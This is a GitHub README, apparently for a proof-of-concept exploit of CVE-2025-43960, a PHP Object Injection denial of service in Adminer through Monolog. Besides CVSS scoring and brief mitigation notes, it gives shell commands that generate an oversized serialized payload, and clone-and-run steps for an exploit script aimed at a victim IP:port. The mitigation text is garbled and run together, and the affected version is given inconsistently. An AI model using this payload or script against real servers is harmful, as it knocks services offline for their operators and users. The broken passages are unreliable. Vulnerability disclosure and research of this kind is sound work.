far00t01/cve-2025-43960PHP Object Injection exploit for Adminer <4.8.1 via Monolog, causing Denial of Service through crafted serialized payloads. Includes PoC, CVSS scoring, and mitigation guidance.
After months of waiting for a response from MITRE, I obtained CVE-2025-43960 with a PHP Object Injection attack against the Adminer service (<4.8.1), causing a Denial of Service (DoS) through Memory Manipulation.
https://github.com/user-attachments/assets/ebf7d8e8-01db-4d02-bb12-33321c749458
This vulnerability allows remote, unauthenticated attackers to exploit Adminer 4.8.1 instances using Monolog, causing Denial of Service (DoS) through PHP Object Injection. The attack vector requires no authentication or user interaction, making it a high-severity issue (CVSS 7.5) with potential to escalate to 8.6 in certain shared environments.
Adminer 4.8.1, when using Monolog for logging, allows a denial of service (memory consumption) via a crafted serialized payload such as one with an s:1000000000 string, aka a PHP Object Injection issue. The vulnerability affects Adminer instances using Monolog for logging, where untrusted user input is deserialized without proper validation.
By sending a large deserialized object, an attacker can force high memory consumption, making the Adminer interface unresponsive and causing a server-wide DoS.
Base Score: 7.5 (High)
Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Note on specific deployments:
If crashing Adminer also disrupts other services/tenants (e.g., container or shared process), Scope: Changed may apply:
- Vector:
AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H- Score: 8.6 (High)
unserialize() on untrusted data within Adminer and Monolog.memory_limit) in PHP to prevent excessive resource consumption.allowed_classes in unserialize() to restrict deserialization of unauthorized classes.< 4.8.1 (latest stable release at the time of testing)unserialize()Payload generation:
head -c 1000000000 </dev/zero | tr '\0' 'D' > filler.txt
echo 'O:32:"Monolog\\Handler\\SyslogUdpHandler":2:{
s:9:"*socket";r:2;
s:10:"*handler";s:1000000000:"'$(cat filler.txt)'";
}' > payload.txt
Impact:
git clone https://github.com/far00t01/CVE-2025-43960
cd CVE-2025-43960
pip install -r requirement.txt
python3 cve-2025-43960.py
python3 cve-2025-43960.py
Usage: cve-2025-43960.py <ip-listener> <port-listener> <ip-victim:port>
Example: python3 cve-2025-43960.py 198.51.100.11 80 203.0.113.11:8000
Fabian Rosales (@far00t01) Medium.